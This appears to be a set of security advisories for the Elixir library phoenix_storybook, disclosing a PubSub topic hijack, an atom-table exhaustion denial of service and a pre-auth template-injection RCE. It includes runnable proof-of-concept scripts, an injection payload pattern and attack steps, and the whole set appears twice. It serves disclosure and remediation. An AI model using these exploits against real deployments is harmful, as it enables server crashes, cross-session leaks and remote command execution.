phoenix_storybook

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
